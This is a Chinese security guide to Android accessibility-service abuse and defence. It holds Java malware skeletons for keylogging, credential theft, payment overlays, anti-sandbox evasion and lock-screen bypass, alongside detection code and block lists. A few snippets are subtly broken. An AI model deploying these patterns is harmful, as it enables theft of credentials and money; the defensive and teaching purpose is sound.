Android 无障碍安全攻击与防御完全指南
一、Android 无障碍服务概述
1.1 无障碍服务简介
Android 无障碍服务(Accessibility Service)是 Android 系统提供的一项辅助功能,旨在帮助残障用户更好地使用设备。通过无障碍服务,应用可以监听用户界面事件、读取屏幕内容、模拟用户操作等。
无障碍服务的核心能力:
- 监听界面变化和用户操作
- 读取屏幕上的文本内容
- 模拟触摸、按键等用户输入
- 与系统和其他应用交互
1.2 无障碍服务架构
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
1.3 无障碍服务的合法用途
| 用途 | 说明 | 示例 |
|---|---|---|
| 屏幕朗读 | 帮助视障用户 | TalkBack |
| 手势控制 | 自定义手势操作 | 手势导航应用 |
| 自动化测试 | UI自动化测试工具 | Espresso |
| 辅助输入 | 替代输入方式 | 语音输入 |
| 屏幕增强 | 放大、滤镜等 | 屏幕放大镜 |
二、无障碍服务安全风险分析
2.1 权限模型缺陷
无障碍服务需要 BIND_ACCESSIBILITY_SERVICE 权限,但一旦授予,应用获得的权限非常强大:
XML
<!-- AndroidManifest.xml 中声明无障碍服务 -->
<service
android:name=".MyAccessibilityService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_service_config" />
</service>
配置文件示例(res/xml/accessibility_service_config.xml):
XML
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackAllMask"
android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews|flagRequestTouchExplorationMode"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"
android:description="@string/accessibility_description"
android:packageNames="com.example.target" />
2.2 攻击面分析
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
2.3 安全风险矩阵
| 风险类型 | 严重程度 | 影响范围 | 利用难度 |
|---|---|---|---|
| 密码窃取 | 高 | 用户凭证 | 中 |
| 支付劫持 | 高 | 财产安全 | 中 |
| 隐私泄露 | 高 | 个人信息 | 低 |
| 权限提升 | 中 | 系统安全 | 高 |
| 持久化攻击 | 中 | 长期监控 | 低 |
| 钓鱼攻击 | 中 | 用户欺诈 | 低 |
三、常见无障碍攻击类型
3.1 屏幕内容窃取
攻击原理: 通过监听 AccessibilityEvent 获取屏幕上显示的所有文本内容。
JAVA
public class SnoopAccessibilityService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// 获取事件类型
int eventType = event.getEventType();
// 监听文本变化事件
if (eventType == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
CharSequence text = event.getText();
if (text != null && text.length() > 0) {
// 窃取文本内容
sendToServer(text.toString());
}
}
// 获取窗口内容
AccessibilityNodeInfo root = getRootInActiveWindow();
if (root != null) {
String allText = traverseNode(root);
sendToServer(allText);
root.recycle();
}
}
private String traverseNode(AccessibilityNodeInfo node) {
StringBuilder sb = new StringBuilder();
if (node.getText() != null) {
sb.append(node.getText().toString()).append("\n");
}
for (int i = 0; i < node.getChildCount(); i++) {
AccessibilityNodeInfo child = node.getChild(i);
if (child != null) {
sb.append(traverseNode(child));
child.recycle();
}
}
return sb.toString();
}
}
3.2 按键记录攻击
攻击原理: 监听用户的输入事件,记录所有按键操作。
JAVA
public class KeyloggerService extends AccessibilityService {
private StringBuilder keystrokes = new StringBuilder();
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// 监听焦点变化
if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_FOCUSED) {
AccessibilityNodeInfo source = event.getSource();
if (source != null) {
// 判断是否为输入框
if (source.isEditable()) {
// 开始记录
}
source.recycle();
}
}
// 监听文本变化
if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
CharSequence text = event.getText();
if (text != null) {
keystrokes.append(text);
// 定期发送记录
if (keystrokes.length() > 100) {
sendKeystrokes();
keystrokes = new StringBuilder();
}
}
}
}
private void sendKeystrokes() {
// 发送到远程服务器
// ...
}
}
3.3 模拟点击攻击(自动操作)
攻击原理: 使用 performAction() 方法模拟用户点击操作。
JAVA
public class AutoClickService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// 监听窗口变化
if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
AccessibilityNodeInfo root = getRootInActiveWindow();
if (root != null) {
// 查找目标按钮
List<AccessibilityNodeInfo> buttons =
root.findAccessibilityNodeInfosByText("立即支付");
if (!buttons.isEmpty()) {
AccessibilityNodeInfo payButton = buttons.get(0);
// 模拟点击
payButton.performAction(AccessibilityNodeInfo.ACTION_CLICK);
payButton.recycle();
}
root.recycle();
}
}
}
}
3.4 手势模拟攻击
攻击原理: 使用 dispatchGesture() 方法模拟复杂手势。
JAVA
public class GestureAttackService extends AccessibilityService {
public void performSwipeGesture() {
// 创建手势路径
Path swipePath = new Path();
swipePath.moveTo(500, 800);
swipePath.lineTo(500, 200);
// 创建手势描述
GestureDescription.Builder builder = new GestureDescription.Builder();
builder.addStroke(new GestureDescription.StrokeDescription(
swipePath, 0, 300)); // 300ms 完成滑动
// 发送手势
dispatchGesture(builder.build(), new GestureResultCallback() {
@Override
public void onCompleted(GestureDescription gestureDescription) {
super.onCompleted(gestureDescription);
// 手势执行完成
}
}, null);
}
public void performPinchGesture() {
// 双指捏合手势(缩放)
Path path1 = new Path();
path1.moveTo(200, 400);
path1.lineTo(400, 400);
Path path2 = new Path();
path2.moveTo(600, 400);
path2.lineTo(400, 400);
GestureDescription.Builder builder = new GestureDescription.Builder();
builder.addStroke(new GestureDescription.StrokeDescription(path1, 0, 200));
builder.addStroke(new GestureDescription.StrokeDescription(path2, 0, 200));
dispatchGesture(builder.build(), null, null);
}
}
3.5 界面劫持攻击
攻击原理: 通过监听界面变化,在特定时刻显示恶意弹窗。
JAVA
public class OverlayAttackService extends AccessibilityService {
private WindowManager windowManager;
private View overlayView;
@Override
public void onCreate() {
super.onCreate();
windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
// 创建恶意覆盖层
overlayView = new View(this);
overlayView.setBackgroundColor(Color.TRANSPARENT);
// ... 设置点击事件等
}
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
String packageName = event.getPackageName().toString();
// 检测是否为支付应用
if (packageName.contains("com.alipay") ||
packageName.contains("com.tencent.mm")) {
// 显示钓鱼弹窗
showOverlay();
}
}
}
private void showOverlay() {
WindowManager.LayoutParams params = new WindowManager.LayoutParams(
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
PixelFormat.TRANSLUCENT
);
// 添加钓鱼界面
// ...
}
}
3.6 会话劫持攻击
攻击原理: 劫持用户与目标应用的交互会话。
JAVA
public class SessionHijackService extends AccessibilityService {
private boolean isInTargetApp = false;
private String lastInput = "";
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
String packageName = event.getPackageName() != null ?
event.getPackageName().toString() : "";
// 检测目标应用
if (packageName.equals("com.example.banking")) {
isInTargetApp = true;
// 监听登录表单
if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
CharSequence text = event.getText();
if (text != null) {
lastInput = text.toString();
// 判断是否为密码字段
AccessibilityNodeInfo source = event.getSource();
if (source != null) {
if (isPasswordField(source)) {
// 窃取密码
stealPassword(lastInput);
}
source.recycle();
}
}
}
// 监听按钮点击
if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_CLICKED) {
AccessibilityNodeInfo source = event.getSource();
if (source != null) {
CharSequence contentDesc = source.getContentDescription();
if (contentDesc != null &&
contentDesc.toString().contains("登录")) {
// 拦截登录请求
blockLogin();
}
source.recycle();
}
}
} else {
isInTargetApp = false;
}
}
private boolean isPasswordField(AccessibilityNodeInfo node) {
// 判断是否为密码输入框
InputType inputType = InputType.createFromValue(
node.getInputType());
return inputType.hasFlag(InputType.TYPE_TEXT_VARIATION_PASSWORD);
}
}
四、高级攻击技术
4.1 绕过检测的隐藏技术
反检测手段:
JAVA
public class StealthService extends AccessibilityService {
private boolean isUnderDetection = false;
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// 检测是否在沙箱环境中
if (isInSandbox()) {
isUnderDetection = true;
return; // 静默模式
}
// 检测调试器
if (isDebuggerAttached()) {
return;
}
// 正常攻击逻辑
performAttack(event);
}
private boolean isInSandbox() {
// 检测模拟器特征
String model = Build.MODEL;
String manufacturer = Build.MANUFACTURER;
return model.contains("Emulator") ||
manufacturer.contains("Genymotion") ||
model.contains("BlueStacks");
}
private boolean isDebuggerAttached() {
try {
Field field = Class.forName("android.os.Debug")
.getDeclaredField("sDebuggerConnected");
field.setAccessible(true);
return field.getBoolean(null);
} catch (Exception e) {
return false;
}
}
}
4.2 动态权限提升
攻击流程:
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
代码实现:
JAVA
public class PrivilegeEscalationService extends AccessibilityService {
public void enableUnknownSources() {
// 打开安全设置页面
Intent intent = new Intent(Settings.ACTION_SECURITY_SETTINGS);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
// 等待页面加载后自动操作
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
AccessibilityNodeInfo root = getRootInActiveWindow();
if (root != null) {
// 查找"未知来源"开关
List<AccessibilityNodeInfo> switches =
root.findAccessibilityNodeInfosByText("未知来源");
if (!switches.isEmpty()) {
AccessibilityNodeInfo switchNode = switches.get(0);
// 点击开关
switchNode.performAction(AccessibilityNodeInfo.ACTION_CLICK);
switchNode.recycle();
}
root.recycle();
}
}
}, 2000);
}
}
4.3 多服务协作攻击
攻击架构:
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
协作代码示例:
JAVA
// 主控制器
public class AttackController {
private AccessibilityService accessibilityService;
private DataUploader dataUploader;
private CommandReceiver commandReceiver;
public void startAttack() {
// 启动无障碍服务
accessibilityService = new MaliciousAccessibilityService();
// 启动数据上传器
dataUploader = new DataUploader();
// 启动命令接收器
commandReceiver = new CommandReceiver();
commandReceiver.setCallback(new CommandCallback() {
@Override
public void onCommand(String command) {
executeCommand(command);
}
});
}
private void executeCommand(String command) {
switch (command) {
case "steal_sms":
accessibilityService.stealSMS();
break;
case "take_screenshot":
accessibilityService.takeScreenshot();
break;
case "auto_click":
accessibilityService.performAutoClick();
break;
case "upload_data":
dataUploader.uploadAllData();
break;
}
}
}
4.4 社会工程学结合攻击
攻击流程:
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
诱骗界面示例:
XML
<!-- 伪装成系统设置的诱骗界面 -->
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:background="#1a1a1a">
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="系统辅助功能设置"
android:textColor="#fff"
android:textSize="18sp"
android:padding="16dp"/>
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="为了提升您的使用体验,请开启辅助功能服务"
android:textColor="#aaa"
android:textSize="14sp"
android:padding="0 16dp 16dp"/>
<Button
android:id="@+id/enable_button"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="立即开启"
android:textColor="#fff"
android:background="#3b82f6"
android:layout_margin="16dp"
android:padding="12dp"/>
</LinearLayout>
五、防御策略与最佳实践
5.1 系统层面防御
Android 系统安全机制:
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
系统设置建议:
JAVA
// 检查无障碍服务状态
public class AccessibilitySecurityManager {
public boolean isAccessibilityServiceEnabled(String packageName) {
AccessibilityManager am = (AccessibilityManager)
getSystemService(Context.ACCESSIBILITY_SERVICE);
List<AccessibilityServiceInfo> enabledServices =
am.getEnabledAccessibilityServiceList(AccessibilityServiceInfo.FEEDBACK_ALL_MASK);
for (AccessibilityServiceInfo service : enabledServices) {
if (service.getResolveInfo() != null &&
service.getResolveInfo().serviceInfo.packageName.equals(packageName)) {
return true;
}
}
return false;
}
public void disableAccessibilityService(String packageName) {
// 引导用户到系统设置页面手动禁用
Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
}
}
5.2 应用层面防御
防护措施:
JAVA
public class SecurityProtector {
// 检测无障碍服务攻击
public boolean detectAccessibilityAttack() {
AccessibilityManager am = (AccessibilityManager)
getSystemService(Context.ACCESSIBILITY_SERVICE);
// 获取所有已启用的无障碍服务
List<AccessibilityServiceInfo> enabledServices =
am.getEnabledAccessibilityServiceList(AccessibilityServiceInfo.FEEDBACK_ALL_MASK);
for (AccessibilityServiceInfo service : enabledServices) {
String pkgName = service.getResolveInfo().serviceInfo.packageName;
// 检查是否为可疑服务
if (isSuspiciousPackage(pkgName)) {
return true;
}
}
return false;
}
private boolean isSuspiciousPackage(String packageName) {
// 已知恶意包名列表
Set<String> maliciousPackages = new HashSet<>(Arrays.asList(
"com.malicious.accessibility",
"com.evil.keylogger",
"com.fake.assistant"
));
return maliciousPackages.contains(packageName);
}
// 检测屏幕录制/截图
public boolean isScreenCaptureDetected() {
// 检查是否有应用正在录制屏幕
MediaProjectionManager mpm = (MediaProjectionManager)
getSystemService(Context.MEDIA_PROJECTION_SERVICE);
// 间接检测方法
// ...
return false;
}
// 安全输入检测
public boolean isInputSecure() {
// 检测当前输入框是否在安全环境中
// ...
return true;
}
}
5.3 用户层面防御
安全意识教育:
| 建议 | 说明 |
|---|---|
| 谨慎授权 | 只给可信应用授予无障碍权限 |
| 定期检查 | 定期查看已授权的无障碍服务 |
| 来源可信 | 只从官方应用商店下载应用 |
| 关注通知 | 注意系统权限变更通知 |
| 及时更新 | 保持系统和应用最新版本 |
5.4 企业级防御策略
JAVA
// 企业移动安全策略
public class EnterpriseSecurityPolicy {
// 允许的无障碍服务白名单
private static final Set<String> ALLOWED_ACCESSIBILITY_SERVICES = new HashSet<>(Arrays.asList(
"com.google.android.marvin.talkback",
"com.android.systemui",
"com.example.legitimate.assistant"
));
// 检测并阻止可疑服务
public void enforceAccessibilityPolicy() {
AccessibilityManager am = (AccessibilityManager)
getSystemService(Context.ACCESSIBILITY_SERVICE);
List<AccessibilityServiceInfo> enabledServices =
am.getEnabledAccessibilityServiceList(AccessibilityServiceInfo.FEEDBACK_ALL_MASK);
for (AccessibilityServiceInfo service : enabledServices) {
String pkgName = service.getResolveInfo().serviceInfo.packageName;
if (!ALLOWED_ACCESSIBILITY_SERVICES.contains(pkgName)) {
// 阻止可疑服务
blockService(pkgName);
}
}
}
private void blockService(String packageName) {
// 通知管理员
notifyAdmin("Suspicious accessibility service detected: " + packageName);
// 强制禁用(需要设备管理员权限)
DevicePolicyManager dpm = (DevicePolicyManager)
getSystemService(Context.DEVICE_POLICY_SERVICE);
// 需要企业设备管理权限
// dpm.setApplicationHidden(adminComponentName, packageName, true);
}
}
六、实战案例分析
6.1 案例一:银行木马攻击
攻击描述: 恶意应用伪装成系统工具,获取无障碍权限后窃取银行账户信息。
JAVA
// 简化的银行木马代码
public class BankingTrojanService extends AccessibilityService {
private static final String TARGET_PACKAGE = "com.example.bank";
private String accountNumber = "";
private String password = "";
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
String packageName = event.getPackageName().toString();
if (!packageName.equals(TARGET_PACKAGE)) {
return;
}
if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
AccessibilityNodeInfo source = event.getSource();
if (source != null) {
CharSequence text = event.getText();
// 判断输入类型
if (isAccountField(source)) {
accountNumber = text.toString();
} else if (isPasswordField(source)) {
password = text.toString();
}
source.recycle();
}
}
// 监听登录按钮点击
if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_CLICKED) {
AccessibilityNodeInfo source = event.getSource();
if (source != null) {
CharSequence desc = source.getContentDescription();
if (desc != null && desc.toString().contains("登录")) {
// 窃取成功,发送数据
sendCredentials(accountNumber, password);
}
source.recycle();
}
}
}
private void sendCredentials(String account, String pass) {
// 发送到远程服务器
// ...
}
}
防御建议:
- 银行应用应检测无障碍服务状态
- 在敏感操作时要求额外验证(指纹、面部识别)
- 实现行为异常检测
6.2 案例二:支付劫持攻击
攻击流程:
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
防御建议:
- 关键操作要求用户手动确认
- 使用硬件安全模块(HSM)存储敏感信息
- 实现操作签名验证
6.3 案例三:锁屏绕过攻击
攻击原理: 利用无障碍服务绕过锁屏密码。
JAVA
public class LockScreenBypassService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// 检测锁屏界面
if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
String packageName = event.getPackageName().toString();
// 判断是否为锁屏界面
if (isLockScreen(packageName)) {
// 尝试绕过
bypassLockScreen();
}
}
}
private boolean isLockScreen(String packageName) {
return packageName.contains("lockscreen") ||
packageName.contains("keyguard");
}
private void bypassLockScreen() {
// 方法1:利用辅助功能按钮
AccessibilityNodeInfo root = getRootInActiveWindow();
if (root != null) {
// 查找紧急呼叫按钮
List<AccessibilityNodeInfo> emergencyButtons =
root.findAccessibilityNodeInfosByText("紧急呼叫");
if (!emergencyButtons.isEmpty()) {
AccessibilityNodeInfo button = emergencyButtons.get(0);
button.performAction(AccessibilityNodeInfo.ACTION_CLICK);
button.recycle();
// 在紧急呼叫界面执行进一步操作
// ...
}
root.recycle();
}
}
}
七、检测工具与平台
7.1 常用检测工具
| 工具 | 类型 | 功能 |
|---|---|---|
| Accessibility Scanner | Google官方 | 检测无障碍服务问题 |
| Appium | 自动化测试 | UI自动化与安全测试 |
| Frida | 动态分析 | Hook无障碍服务调用 |
| Xposed | 框架 | 系统级拦截 |
| MobSF | 自动化平台 | 静态/动态安全分析 |
7.2 安全检测代码示例
JAVA
// 无障碍服务安全检测器
public class AccessibilitySecurityScanner {
public SecurityReport scanForThreats() {
SecurityReport report = new SecurityReport();
// 检测已启用的无障碍服务
AccessibilityManager am = (AccessibilityManager)
getSystemService(Context.ACCESSIBILITY_SERVICE);
List<AccessibilityServiceInfo> enabledServices =
am.getEnabledAccessibilityServiceList(AccessibilityServiceInfo.FEEDBACK_ALL_MASK);
for (AccessibilityServiceInfo service : enabledServices) {
String pkgName = service.getResolveInfo().serviceInfo.packageName;
// 风险评估
RiskLevel risk = assessServiceRisk(pkgName);
if (risk != RiskLevel.SAFE) {
report.addThreat(new ThreatInfo(pkgName, risk));
}
}
return report;
}
private RiskLevel assessServiceRisk(String packageName) {
// 白名单检查
if (isWhitelisted(packageName)) {
return RiskLevel.SAFE;
}
// 黑名单检查
if (isBlacklisted(packageName)) {
return RiskLevel.HIGH;
}
// 未知应用默认中等风险
return RiskLevel.MEDIUM;
}
private enum RiskLevel {
SAFE, MEDIUM, HIGH
}
private class SecurityReport {
List<ThreatInfo> threats = new ArrayList<>();
void addThreat(ThreatInfo threat) {
threats.add(threat);
}
}
private class ThreatInfo {
String packageName;
RiskLevel risk;
ThreatInfo(String pkg, RiskLevel r) {
packageName = pkg;
risk = r;
}
}
}
八、总结与展望
8.1 安全现状总结
- 攻击持续增长:无障碍服务成为恶意软件的重要攻击向量
- 防御手段有限:当前系统级保护机制不够完善
- 用户意识薄弱:用户对无障碍权限的风险认识不足
- 检测难度较高:恶意服务难以被传统杀毒软件检测
8.2 未来发展趋势
- 更严格的权限控制:Android 12+ 对无障碍服务权限进行了更严格的限制
- 行为分析检测:基于机器学习的异常行为检测
- 隐私保护增强:限制无障碍服务访问敏感数据
- 用户教育提升:加强用户对权限风险的认知
8.3 防护建议总结
| 层面 | 建议 |
|---|---|
| 系统 | 保持系统更新,开启Google Play Protect |
| 应用 | 检测无障碍服务状态,实现安全输入 |
| 用户 | 谨慎授权权限,定期检查已授权服务 |
| 企业 | 实施移动设备管理策略 |
附录:参考资料
- Android 官方无障碍服务文档
- OWASP Mobile Security Testing Guide
- Android Security Bulletin(年度)
- Google Play Protect 技术白皮书
- 移动安全威胁报告
免责声明: 本文仅供安全研究和教育目的。未经授权使用无障碍服务进行攻击是违法的行为,作者不承担任何法律责任。